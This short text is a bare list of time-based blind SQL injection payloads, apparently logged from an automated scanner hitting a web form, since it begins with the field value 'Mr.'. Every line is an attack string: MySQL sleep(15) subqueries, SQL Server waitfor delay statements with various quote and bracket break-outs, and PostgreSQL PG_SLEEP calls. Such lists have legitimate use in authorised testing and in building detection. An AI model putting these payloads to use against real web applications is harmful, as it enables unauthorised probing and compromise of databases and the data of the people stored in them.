Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

ca4GNrwx'; waitfor delay '0:0:15' --

3IRkPw8r'); waitfor delay '0:0:15' --

74ULffno')); waitfor delay '0:0:15' --

-5 OR 749=(SELECT 749 FROM PG_SLEEP(15))--

-5) OR 251=(SELECT 251 FROM PG_SLEEP(15))--